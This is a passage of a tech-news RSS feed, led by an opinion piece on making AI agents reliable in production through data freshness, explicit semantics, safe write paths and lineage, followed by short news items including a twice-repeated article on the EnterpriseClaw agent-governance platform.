<guid isPermaLink="true">https://tsecurity.de/de/3547405/ai-nachrichten/why-most-ai-agents-disappoint-in-production-and-what-to-fix-first/</guid>
<pubDate>Tue, 26 May 2026 11:18:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a href="https://www.infoworld.com/article/3611465/how-ai-agents-will-transform-the-future-of-work.html" data-type="link" data-id="https://www.infoworld.com/article/3611465/how-ai-agents-will-transform-the-future-of-work.html">AI agents</a> look brilliant in a demo because demos are friendly worlds. The data is curated, the tools behave, and nothing important changes while the agent is in mid-thought. Production is the opposite: data arrives late, facts conflict, permissions bite, APIs time out, and the underlying state changes constantly.</p>



<p>That gap is why early “agents in production” often get scoped down to something safer: read-only assistants, human-in-the-loop workflows, or narrow domains with heavily curated data. Several high-profile deployments have also been scaled back after meeting messy real-world constraints. Rather than being a verdict on autonomy, these stumbles are a reminder that autonomy is unforgiving. Small cracks in your data stack become large cracks in agent behavior.</p>



<p>The same pattern shows up whenever agents move from toy workflows to systems with real state. As scope increases, weak guarantees create predictable symptoms: overconfident actions on stale data, brittle reasoning when meaning drifts, and compounding errors once the agent can write back.</p>



<p>The fix is to treat agents as what they are: systems that read, reason, and write against live operational data. That pushes you into establishing guarantees that most enterprise stacks provide only implicitly. Four matter more than the rest: freshness, semantics, safe write paths and lineage.</p>



<h2 class="wp-block-heading">Freshness: Stop reasoning about yesterday</h2>



<p>Many organizations have learned to live with staleness: batch pipelines, replica lag, caches, delayed CDC (change data capture), materialized views. Humans compensate with judgment. Agents compensate with confidence.</p>



<p>A common production failure mode is correct reasoning on the wrong time slice. The agent reads inventory that is minutes behind and triggers a reorder that collides with replenishment already in flight. Or the agent sees an incident marked “resolved” in one system while another system still shows the rollback pending, and it proceeds with a change that should have waited. Call these mistakes what they are: freshness bugs.</p>



<p>A “freshness guarantee” means time is first class. Facts have timestamps. Queries support clean “as of” semantics, so an agent can ask what was true at time T, what is true now, and what changed since its last action. Workflows declare freshness SLOs for the data they depend on. When the platform cannot meet them, the agent degrades gracefully. It pauses, asks for confirmation, or switches to a read-only plan.</p>



<p>Freshness also has a deployment dimension. Many agent use cases are local by nature, from factories to retail sites. If you need low-latency context, pushing everything back to a central store and waiting for it to come round the loop is a design flaw, not an optimization problem.</p>



<h2 class="wp-block-heading">Semantics: Make meaning explicit, not inferred</h2>



<p>Agents fail in subtler ways when the data looks right but means different things across systems. Customer versus account. Order versus transaction. A status code that drifted between teams. Duplicate identifiers. Inconsistent naming. Each system can be locally correct while the agent is globally wrong.</p>



<p>This is where teams reach for vector search and call it memory. Embeddings are excellent for similarity. They are weak at representing complex structure and constraints. In practice, similarity can help you find relevant material but it does not give you a semantic contract. It cannot enforce that “this customer” is the same entity across CRM, billing, support, and identity systems. It cannot naturally encode constraints like “a device belongs to exactly one site at a time” or “a refund requires a matching settlement.” When agents rely on fuzzy recall to do deterministic work, they behave like confident improvisers.</p>



<p>A semantic guarantee means an explicit model of entities and relationships, often a “context graph” that links operational records to the documents and signals that describe them. This is a shift from older knowledge graph programs that imported data in batches for analytical queries. The emerging agent use case is constant streaming of data, much of it documents and files, combined with real-time read and write in the same operational loop.</p>



<h2 class="wp-block-heading">Safe write paths: Agents make changes, so design for reversibility</h2>



<p>Read-only agents can be wrong and still be useful. Write-capable agents can be wrong and destructive. The compounding effect is the risk that a mistaken update becomes the next step’s ground truth, a retry becomes a duplicate side effect, and a partial write leaves the world inconsistent.</p>



<p>Safe write paths begin with transactional guarantees. ACID transactions keep state transitions coherent. Idempotency matters because agents retry and networks wobble. Concurrency control matters because the agent is rarely the only actor changing state. Then come guardrails: row-level security, role-based access, and constraints enforced by the platform, rather than buried in prompts.</p>



<p>A practical pattern is plan-validate-commit. The agent proposes a structured change set, validates it against current state and constraints, then commits with an audit record that links action to evidence. Approval can be automated or human depending on risk, but the write path stays disciplined.</p>



<h2 class="wp-block-heading">Lineage: If you cannot trace decisions, you cannot improve them</h2>



<p>When an agent goes wrong, teams need to answer a simple question: what did it see? Without that, debugging becomes archaeology.</p>



<p>Lineage connects data to behavior. It includes provenance for records and documents, plus agent-specific traces: which retrieval results were used, which tool calls ran, which policies were applied, and what changed as a result. An AI-native platform should make it practical to capture and query this. It should include immutable audit trails for high-risk actions, versioning or time travel for critical entities, and links from decisions to the exact data snapshots used. This is also how evaluation becomes engineering: through replayable scenarios, regression tests, and drift detection.</p>



<h2 class="wp-block-heading">What an AI-native data platform provides</h2>



<p>These four guarantees point to the same conclusion: agentic workloads punish fragmentation. Every extra datastore, index, and pipeline is another place for semantics to drift and freshness to fail. Agents end up stitching together five systems at runtime, and runtime stitching is where consistency dies. Because agents operate across these systems continuously, not occasionally, they amplify integration flaws.</p>



<p>An AI-native data platform is a foundation that can represent operational truth, semantic context, and retrieval signals in one place, with transactional correctness, controlled writes, and auditable history. That typically means native support for all of the data shapes agents need in the same workflow: relational records, JSON documents, graph relationships, time-series events, and vector embeddings. It also means support for composable queries that can blend structured filters, relationship traversal, and similarity search without shipping data across services.</p>



<p>The other requirement is deployment flexibility. The data plumbing tends to move slower than the front-end UX, because shiny interfaces are easier to understand than the hard work of making systems consistent at scale. Agents bring that plumbing problem to the surface. Platforms that can run the same engine in the cloud, in self-hosted environments, in memory, and at the edge reduce orchestration overhead and make guarantees easier to maintain.</p>



<h2 class="wp-block-heading">Where to start: An engineer’s agent readiness checklist</h2>



<p>Full autonomy rarely needs to be the starting point. Explicit guarantees do.</p>



<p>Start with read paths. Prove retrieval quality, freshness bounds, and semantic coherence while the agent is advisory. Define a context contract: authoritative sources, entity resolution rules, the relationships that matter, and what “fresh enough” means for each workflow. Instrument lineage by default so every recommendation can be traced to evidence.</p>



<p>Introduce writes gradually. Scope early actions to reversible operations. Make tool calls idempotent. Use transactions. Keep enforcement in the platform layer. Treat approvals as a tunable control, with human sign-off where risk and blast radius demand it.</p>



<p>Agents disappoint in production when we ask them to drive on roads built for dashboards. Build the four guarantees into the substrate and the same model will start behaving like a far more reliable system. That is the unglamorous truth behind “agent memory” and “context graphs.” This is infrastructure work, but it is also the shortest path from demos to deployment.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[George Hotz says coding agents will be "one of the most costly mistakes" in software development]]></title>
<description><![CDATA[Programmer George Hotz warns that AI coding agents will become one of the industry's most costly mistakes. After six months of testing, his verdict: LLMs deliver fast prototypes but fall apart on the details, producing bugs that keep getting harder to spot. His stance is one example of how deeply...]]></description>
<link>https://tsecurity.de/de/3545233/ai-nachrichten/george-hotz-says-coding-agents-will-be-one-of-the-most-costly-mistakes-in-software-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3545233/ai-nachrichten/george-hotz-says-coding-agents-will-be-one-of-the-most-costly-mistakes-in-software-development/</guid>
<pubDate>Mon, 25 May 2026 11:32:42 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1088" height="608" src="https://the-decoder.com/wp-content/uploads/2026/05/ai_code_quality_debate.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Programmer George Hotz warns that AI coding agents will become one of the industry's most costly mistakes. After six months of testing, his verdict: LLMs deliver fast prototypes but fall apart on the details, producing bugs that keep getting harder to spot. His stance is one example of how deeply split the AI community is over the role of LLMs.</p>
<p>The article <a href="https://the-decoder.com/george-hotz-says-coding-agents-will-be-one-of-the-most-costly-mistakes-in-software-development/">George Hotz says coding agents will be "one of the most costly mistakes" in software development</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Musk-Altman Trial Verdict, PlayStation Price Hikes and Alexa Plus AI Podcasts | Tech Today video]]></title>
<description><![CDATA[Owen Poole covers today's top tech stories, including the jury reaching a verdict in the high-profile trial brought against OpenAI by Elon Musk, Sony increasing the price of its PlayStation Plus subscription (and the new costs of gaming), and Amazon Alexa Plus subscribers can now generate an AI p...]]></description>
<link>https://tsecurity.de/de/3532445/it-nachrichten/musk-altman-trial-verdict-playstation-price-hikes-and-alexa-plus-ai-podcasts-tech-today-video/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3532445/it-nachrichten/musk-altman-trial-verdict-playstation-price-hikes-and-alexa-plus-ai-podcasts-tech-today-video/</guid>
<pubDate>Wed, 20 May 2026 11:48:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Owen Poole covers today's top tech stories, including the jury reaching a verdict in the high-profile trial brought against OpenAI by Elon Musk, Sony increasing the price of its PlayStation Plus subscription (and the new costs of gaming), and Amazon Alexa Plus subscribers can now generate an AI podcast about anything.]]></content:encoded>
</item>
<item>
<title><![CDATA[EnterpriseClaw wants to bring governance to the OpenClaw era]]></title>
<description><![CDATA[Autonomous agent orchestration tool OpenClaw hit the scene last November and immediately went viral, but its dramatic flaws were exposed just as quickly.



Still, it marked a pivotal step in the agentic AI era, and enterprises have been exploring ways to deploy fleets of autonomous agents safely...]]></description>
<link>https://tsecurity.de/de/3531267/it-nachrichten/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3531267/it-nachrichten/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era/</guid>
<pubDate>Wed, 20 May 2026 04:02:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Autonomous agent orchestration tool OpenClaw hit the scene last November and immediately went viral, but its dramatic flaws were <a href="https://www.csoonline.com/article/4129867/what-cisos-need-to-know-about-clawdbot-i-mean-moltbot-i-mean-openclaw.html" target="_blank">exposed just as quickly</a>.</p>



<p>Still, it marked a pivotal step in the agentic AI era, and enterprises have been exploring ways to deploy fleets of autonomous agents safely and securely ever since.</p>



<p>Automation Anywhere Tuesday rolled out its answer to this challenge, EnterpriseClaw, created in collaboration with Cisco, Nvidia, Okta, and OpenAI.</p>



<p>The company says the platform will enable companies to deploy autonomous AI agents across their desktops, cloud platforms, secured ‘behind-the-firewall’ networks, and on-premises systems, all while maintaining centralized control, access, and observability.</p>



<h2 class="wp-block-heading">Automates business-critical work</h2>



<p>EnterpriseClaw is built on Automation Anywhere’s Process Reasoning Engine (PRE) and Contextual Intelligence Graph, which automate business-critical work. It also integrates with Cisco AI Defense and DefenseClaw to provide security purpose-built for AI agents, Nvidia’s open-source runtime OpenShell, NIM microservices and Nemotron models for on-premises customers, and Okta’s cross-agent identity management and authentication controls. Furthermore, OpenClaw’s <a href="https://www.infoworld.com/article/4132731/openai-hires-openclaw-founder-as-ai-agent-race-intensifies-2.html" target="_blank">OpenAI</a> collaboration will give customers access to leading models like GPT-5.5.</p>



<p>“The level of distrust and insecurity associated with OpenClaw is covered in significant detail in the EnterpriseClaw launch,” said <a href="https://www.infotech.com/profiles/manish-jain" target="_blank" rel="noreferrer noopener">Manish Jain</a>, a principal research director at Info-Tech Research Group. “The collaboration between Nvidia, OpenAI, Okta, and Cisco adds to the credibility of the proposition of trusted infrastructure, identity, and security layers.”</p>



<p>Automation Anywhere says the platform will give enterprises the ability to deploy agents in parallel in managed containers behind firewalls, providing local access to files, apps, browsers, and terminals. Agents can hand off tasks and combine outputs so that value “compounds” rather than being isolated and confined to single-agent tasks, the company said.</p>



<p>Users can set policies, access controls, guardrails, and agent credentials, which are all enforced locally on-device, and receive information on telemetry, audit logs, and large language model (LLM) usage.</p>



<p>The company pointed to use cases like claims investigation: AI agents can gather information across desktop apps, internal documents, on-premises systems, and cloud platforms, all while keeping financial, operational, and other sensitive data secured inside enterprise systems. Other usage scenarios include code generation and debugging, local file post-incident log analysis, research, user interface (UI) automation, and secure data processing in regulated environments.</p>



<p>EnterpriseClaw is now available in preview, with general availability expected later this year.</p>



<h2 class="wp-block-heading">No clear differentiator</h2>



<p>Still, there’s no clear-cut differentiator here, noted <a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, a VP and principal analyst with Moor Insights &amp; Strategy. Nvidia has already announced its <a href="https://www.cio.com/article/4146545/nvidia-nemoclaw-promises-to-run-openclaw-agents-securely.html" target="_blank">NemoClaw</a> open-source stack to provide guardrails for always-on agents, and EnterpriseClaw has essentially the same capabilities and generally-available stack.</p>



<p>“Which begs the question: If you are already using Nvidia’s, why choose this?” he asked. Indeed, the Cisco and Okta capabilities will “likely be interesting” to their existing bases. “But again, those products already work with other tools,” Andersen pointed out.</p>



<h2 class="wp-block-heading">OpenClaw-like agents changing everything</h2>



<p>Ultimately, noted technology analyst <a href="https://www.linkedin.com/in/carmi/" target="_blank" rel="noreferrer noopener">Carmi Levy</a>, <a href="https://www.computerworld.com/article/4128257/openclaw-the-ai-agent-thats-got-humans-taking-orders-from-bots.html" target="_blank">OpenClaw’s arrival</a> has changed enterprise leaders’ view of AI, because it turned what was previously just a concept of AI agents into an everyday-accessible tool for a mass audience.</p>



<p>“As ChatGPT took chatbots out of the lab and drove them into mainstream use, OpenClaw did the same for AI agents,” he said. It shifted the notion of AI from something we chat with to something that actually gets work done. This represents “a key step in replacing human capital with technological capital.”</p>



<p>Info-Tech’s Jain explained that <a href="https://www.pcworld.com/article/3068842/whats-behind-the-openclaw-ban-wave.html" target="_blank">OpenClaw</a> provided AI with three key features: Local execution via a desktop or laptop, persistent autonomy (operation without human input), and direct control over various systems such as WhatsApp or Slack.</p>



<p>“In effect, OpenClaw gave its agents claws (hands), allowing them to run in the background continuously,” he said. They can then execute real-world actions across file systems, web browsers, and applications based on a “single thread” of chat messaging.</p>



<p>But when claw agents quickly began leaking information about user data, there was a “polarization of emotions,” with users both excited and shocked about what they could do and access, he pointed out.</p>



<p>“<a href="https://www.infoworld.com/article/4153975/understanding-the-risks-of-openclaw.html" target="_blank">OpenClaw</a> did not meet enterprise-grade product standards,” said Jain. “The data leaks and inappropriate behaviors associated with claw agents exhibit how an uncontrolled tool, when introduced with no guardrails, will lead to massive issues.”</p>



<p>While Automation Anywhere is deploying EnterpriseClaw in partnership with a group of credible companies, that is just one side of the story; enterprises must govern all AI agents as “persistent digital actors without conscience,” he noted.</p>



<p>Moor’s Andersen also pointed out that OpenClaw can be run on many different models, essentially as a client and a server. But this means there are no real governance capabilities available, “so it’s kind of a wild west, which is why we are seeing companies create these enterprise offerings,” he said.</p>



<h2 class="wp-block-heading">Claw agents ‘amazing,’ but enterprises beware</h2>



<p>What resonates most about OpenClaw is that it can be run alongside open-source AI models like Gemma on a local machine, and users don’t have to pay for or worry about data, Andersen pointed out. This is a direct response to other wildly popular but more expensive tools like Claude Cowork; the latter is “amazing,” but “somewhat addictive,” so users can easily burn through the lowest-cost $20 a month usage credit option.</p>



<p>Tools like OpenClaw are “pretty great” when you have many tasks running in parallel, Andersen noted. For instance, in a marketing campaign, agents can check sales volumes and generate new content at the same time.</p>



<p>Levy added that agents could potentially replace “the human worker-bee” altogether, handling the minutiae of day-to-day work.</p>



<p>Helpdesk workflows are “particularly aligned” with the capabilities of OpenClaw-like agents, he pointed out, as the agents can autonomously manage and close tickets. Or, in administrative work, they can take on repetitive, low-risk and high-return tasks like scheduling meetings, drafting email messages, and managing follow-ups. In software development, vibe-coding agents can efficiently generate large volumes of code for diverse projects. </p>



<p>“Is the code any good? The verdict is still out on that, but it’s clear that OpenClaw-like agents are already rapidly tilting the coding landscape in favour of automation,” said Levy.</p>



<p>Still, agents need a lot of permissions to live up to expectations, which can introduce “unnecessary or unacceptable” levels of risk, he noted. Builders will need to grant sufficient access to maintain productivity, but not so much that they set the stage for an “AI-powered debacle” down the road.</p>



<p>Enterprises also run the risk of AI-fed data leakage, likely from opportunistic agents accessing sensitive data from multiple sources and sharing it beyond originally intended purposes, Levy said. Agents are subject to “AI-ified cybersecurity risks,” such as prompt injection and instruction attacks that use hidden text in documents to autonomously execute remote commands.</p>



<p>Another issue is explainability; particularly in regulated industries, enterprises must be able to show traceability and justify why a certain action was taken and who signed off on it. Additionally, “longer-term reliance at this level will inevitably erode institutional knowledge as the human workers who originally crafted it are replaced by automation,” Levy cautioned.</p>



<p><em>This article originally appeared on <a href="https://www.cio.com/article/4173405/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era.html" target="_blank">CIO.com</a>.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[EnterpriseClaw wants to bring governance to the OpenClaw era]]></title>
<description><![CDATA[Autonomous agent orchestration tool OpenClaw hit the scene last November and immediately went viral, but its dramatic flaws were exposed just as quickly.



Still, it marked a pivotal step in the agentic AI era, and enterprises have been exploring ways to deploy fleets of autonomous agents safely...]]></description>
<link>https://tsecurity.de/de/3531256/it-nachrichten/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3531256/it-nachrichten/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era/</guid>
<pubDate>Wed, 20 May 2026 03:32:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Autonomous agent orchestration tool OpenClaw hit the scene last November and immediately went viral, but its dramatic flaws were <a href="https://www.csoonline.com/article/4129867/what-cisos-need-to-know-about-clawdbot-i-mean-moltbot-i-mean-openclaw.html" target="_blank">exposed just as quickly</a>.</p>



<p>Still, it marked a pivotal step in the agentic AI era, and enterprises have been exploring ways to deploy fleets of autonomous agents safely and securely ever since.</p>



<p>Automation Anywhere Tuesday rolled out its answer to this challenge, EnterpriseClaw, created in collaboration with Cisco, Nvidia, Okta, and OpenAI.</p>



<p>The company says the platform will enable companies to deploy autonomous AI agents across their desktops, cloud platforms, secured ‘behind-the-firewall’ networks, and on-premises systems, all while maintaining centralized control, access, and observability.</p>



<h2 class="wp-block-heading">Automates business-critical work</h2>



<p>EnterpriseClaw is built on Automation Anywhere’s Process Reasoning Engine (PRE) and Contextual Intelligence Graph, which automate business-critical work. It also integrates with Cisco AI Defense and DefenseClaw to provide security purpose-built for AI agents, Nvidia’s open-source runtime OpenShell, NIM microservices and Nemotron models for on-premises customers, and Okta’s cross-agent identity management and authentication controls. Furthermore, OpenClaw’s <a href="https://www.infoworld.com/article/4132731/openai-hires-openclaw-founder-as-ai-agent-race-intensifies-2.html" target="_blank">OpenAI</a> collaboration will give customers access to leading models like GPT-5.5.</p>



<p>“The level of distrust and insecurity associated with OpenClaw is covered in significant detail in the EnterpriseClaw launch,” said <a href="https://www.infotech.com/profiles/manish-jain" target="_blank" rel="nofollow">Manish Jain</a>, a principal research director at Info-Tech Research Group. “The collaboration between Nvidia, OpenAI, Okta, and Cisco adds to the credibility of the proposition of trusted infrastructure, identity, and security layers.”</p>



<p>Automation Anywhere says the platform will give enterprises the ability to deploy agents in parallel in managed containers behind firewalls, providing local access to files, apps, browsers, and terminals. Agents can hand off tasks and combine outputs so that value “compounds” rather than being isolated and confined to single-agent tasks, the company said.</p>



<p>Users can set policies, access controls, guardrails, and agent credentials, which are all enforced locally on-device, and receive information on telemetry, audit logs, and large language model (LLM) usage.</p>



<p>The company pointed to use cases like claims investigation: AI agents can gather information across desktop apps, internal documents, on-premises systems, and cloud platforms, all while keeping financial, operational, and other sensitive data secured inside enterprise systems. Other usage scenarios include code generation and debugging, local file post-incident log analysis, research, user interface (UI) automation, and secure data processing in regulated environments.</p>



<p>EnterpriseClaw is now available in preview, with general availability expected later this year.</p>



<h2 class="wp-block-heading">No clear differentiator</h2>



<p>Still, there’s no clear-cut differentiator here, noted <a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="nofollow">Jason Andersen</a>, a VP and principal analyst with Moor Insights &amp; Strategy. Nvidia has already announced its <a href="https://www.cio.com/article/4146545/nvidia-nemoclaw-promises-to-run-openclaw-agents-securely.html" target="_blank">NemoClaw</a> open-source stack to provide guardrails for always-on agents, and EnterpriseClaw has essentially the same capabilities and generally-available stack.</p>



<p>“Which begs the question: If you are already using Nvidia’s, why choose this?” he asked. Indeed, the Cisco and Okta capabilities will “likely be interesting” to their existing bases. “But again, those products already work with other tools,” Andersen pointed out.</p>



<h2 class="wp-block-heading">OpenClaw-like agents changing everything</h2>



<p>Ultimately, noted technology analyst <a href="https://www.linkedin.com/in/carmi/" target="_blank" rel="nofollow">Carmi Levy</a>, <a href="https://www.computerworld.com/article/4128257/openclaw-the-ai-agent-thats-got-humans-taking-orders-from-bots.html" target="_blank">OpenClaw’s arrival</a> has changed enterprise leaders’ view of AI, because it turned what was previously just a concept of AI agents into an everyday-accessible tool for a mass audience.</p>



<p>“As ChatGPT took chatbots out of the lab and drove them into mainstream use, OpenClaw did the same for AI agents,” he said. It shifted the notion of AI from something we chat with to something that actually gets work done. This represents “a key step in replacing human capital with technological capital.”</p>



<p>Info-Tech’s Jain explained that <a href="https://www.pcworld.com/article/3068842/whats-behind-the-openclaw-ban-wave.html" target="_blank">OpenClaw</a> provided AI with three key features: Local execution via a desktop or laptop, persistent autonomy (operation without human input), and direct control over various systems such as WhatsApp or Slack.</p>



<p>“In effect, OpenClaw gave its agents claws (hands), allowing them to run in the background continuously,” he said. They can then execute real-world actions across file systems, web browsers, and applications based on a “single thread” of chat messaging.</p>



<p>But when claw agents quickly began leaking information about user data, there was a “polarization of emotions,” with users both excited and shocked about what they could do and access, he pointed out.</p>



<p>“<a href="https://www.infoworld.com/article/4153975/understanding-the-risks-of-openclaw.html" target="_blank">OpenClaw</a> did not meet enterprise-grade product standards,” said Jain. “The data leaks and inappropriate behaviors associated with claw agents exhibit how an uncontrolled tool, when introduced with no guardrails, will lead to massive issues.”</p>



<p>While Automation Anywhere is deploying EnterpriseClaw in partnership with a group of credible companies, that is just one side of the story; enterprises must govern all AI agents as “persistent digital actors without conscience,” he noted.</p>



<p>Moor’s Andersen also pointed out that OpenClaw can be run on many different models, essentially as a client and a server. But this means there are no real governance capabilities available, “so it’s kind of a wild west, which is why we are seeing companies create these enterprise offerings,” he said.</p>



<h2 class="wp-block-heading">Claw agents ‘amazing,’ but enterprises beware</h2>



<p>What resonates most about OpenClaw is that it can be run alongside open-source AI models like Gemma on a local machine, and users don’t have to pay for or worry about data, Andersen pointed out. This is a direct response to other wildly popular but more expensive tools like Claude Cowork; the latter is “amazing,” but “somewhat addictive,” so users can easily burn through the lowest-cost $20 a month usage credit option.</p>



<p>Tools like OpenClaw are “pretty great” when you have many tasks running in parallel, Andersen noted. For instance, in a marketing campaign, agents can check sales volumes and generate new content at the same time.</p>



<p>Levy added that agents could potentially replace “the human worker-bee” altogether, handling the minutiae of day-to-day work.</p>



<p>Helpdesk workflows are “particularly aligned” with the capabilities of OpenClaw-like agents, he pointed out, as the agents can autonomously manage and close tickets. Or, in administrative work, they can take on repetitive, low-risk and high-return tasks like scheduling meetings, drafting email messages, and managing follow-ups. In software development, vibe-coding agents can efficiently generate large volumes of code for diverse projects. </p>



<p>“Is the code any good? The verdict is still out on that, but it’s clear that OpenClaw-like agents are already rapidly tilting the coding landscape in favour of automation,” said Levy.</p>



<p>Still, agents need a lot of permissions to live up to expectations, which can introduce “unnecessary or unacceptable” levels of risk, he noted. Builders will need to grant sufficient access to maintain productivity, but not so much that they set the stage for an “AI-powered debacle” down the road.</p>



<p>Enterprises also run the risk of AI-fed data leakage, likely from opportunistic agents accessing sensitive data from multiple sources and sharing it beyond originally intended purposes, Levy said. Agents are subject to “AI-ified cybersecurity risks,” such as prompt injection and instruction attacks that use hidden text in documents to autonomously execute remote commands.</p>



<p>Another issue is explainability; particularly in regulated industries, enterprises must be able to show traceability and justify why a certain action was taken and who signed off on it. Additionally, “longer-term reliance at this level will inevitably erode institutional knowledge as the human workers who originally crafted it are replaced by automation,” Levy cautioned.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Obvious markers of AI’: doubts raised over winner of short story prize]]></title>
<description><![CDATA[Granta publisher says ‘perhaps we never will know’ true authorship of work that won Commonwealth prize A few syntactical tics – and the verdict of an AI detection platform – have sparked furore over the possibility that a short story given a prestigious literary award was written by AI.The founda...]]></description>
<link>https://tsecurity.de/de/3530594/ai-nachrichten/obvious-markers-of-ai-doubts-raised-over-winner-of-short-story-prize/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3530594/ai-nachrichten/obvious-markers-of-ai-doubts-raised-over-winner-of-short-story-prize/</guid>
<pubDate>Tue, 19 May 2026 21:33:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Granta publisher says ‘perhaps we never will know’ true authorship of work that won Commonwealth prize </p><p>A few syntactical tics – and the verdict of an AI detection platform – have sparked furore over the possibility that a short story given a prestigious literary award was written by AI.</p><p>The foundation that awarded the prize and Granta, the magazine that published the winning <a href="https://granta.com/the-serpent-in-the-grove/">story</a>, said they had considered the allegations and had not reached a conclusion as to whether they were true.</p> <a href="https://www.theguardian.com/books/2026/may/19/commonwealth-short-story-prize-winner-doubts-ai-artificial-intelligence">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Musk v Altman: tech bros at war over OpenAI – The Latest]]></title>
<description><![CDATA[A long and bitter legal battle between tech billionaires Elon Musk and Sam Altman has culminated in victory for the OpenAI boss. Musk has vowed to appeal the verdict. But what did the trial reveal about big tech and the global AI race? Lucy Hough speaks to Guardian US tech and power reporter Nick...]]></description>
<link>https://tsecurity.de/de/3529934/ai-nachrichten/musk-v-altman-tech-bros-at-war-over-openai-the-latest/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3529934/ai-nachrichten/musk-v-altman-tech-bros-at-war-over-openai-the-latest/</guid>
<pubDate>Tue, 19 May 2026 18:33:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A long and bitter legal battle between tech billionaires Elon Musk and Sam Altman has culminated in victory for the OpenAI boss. Musk has vowed to appeal the verdict. But what did the trial reveal about big tech and the global AI race? Lucy Hough speaks to Guardian US tech and power reporter Nick Robins-Early</p> <a href="https://www.theguardian.com/news/video/2026/may/19/musk-v-altman-tech-bros-at-war-over-openai-the-latest">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Musk v Altman: tech bros at war over OpenAI – The Latest]]></title>
<description><![CDATA[A long and bitter legal battle between tech billionaires Elon Musk and Sam Altman has culminated in victory for the OpenAI boss. Musk has vowed to appeal the verdict. But what did the trial reveal about big tech and the global AI race?Lucy Hough speaks to Guardian US tech and power reporter Nick ...]]></description>
<link>https://tsecurity.de/de/3529847/ai-nachrichten/musk-v-altman-tech-bros-at-war-over-openai-the-latest/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3529847/ai-nachrichten/musk-v-altman-tech-bros-at-war-over-openai-the-latest/</guid>
<pubDate>Tue, 19 May 2026 18:21:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A long and bitter legal battle between tech billionaires Elon Musk and Sam Altman has culminated in victory for the OpenAI boss. Musk has vowed to appeal the verdict. But what did the trial reveal about big tech and the global AI race?</p><p>Lucy Hough speaks to Guardian US tech and power reporter Nick Robins-Early</p> <a href="https://www.theguardian.com/technology/audio/2026/may/19/musk-v-altman-tech-bros-at-war-over-openai-the-latest">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[I tested Sony’s most expensive wireless headphones ever to see if they're really worth the money, and I love the ‘exceptionally expansive, and almost hypnotic audio’ — but they come with downsides]]></title>
<description><![CDATA[I reviewed the most expensive wireless headphones Sony has ever made — are they actually worth the money? Here's my verdict.]]></description>
<link>https://tsecurity.de/de/3529791/it-nachrichten/i-tested-sonys-most-expensive-wireless-headphones-ever-to-see-if-theyre-really-worth-the-money-and-i-love-the-exceptionally-expansive-and-almost-hypnotic-audio-but-they-come-with-downsides/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3529791/it-nachrichten/i-tested-sonys-most-expensive-wireless-headphones-ever-to-see-if-theyre-really-worth-the-money-and-i-love-the-exceptionally-expansive-and-almost-hypnotic-audio-but-they-come-with-downsides/</guid>
<pubDate>Tue, 19 May 2026 18:03:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
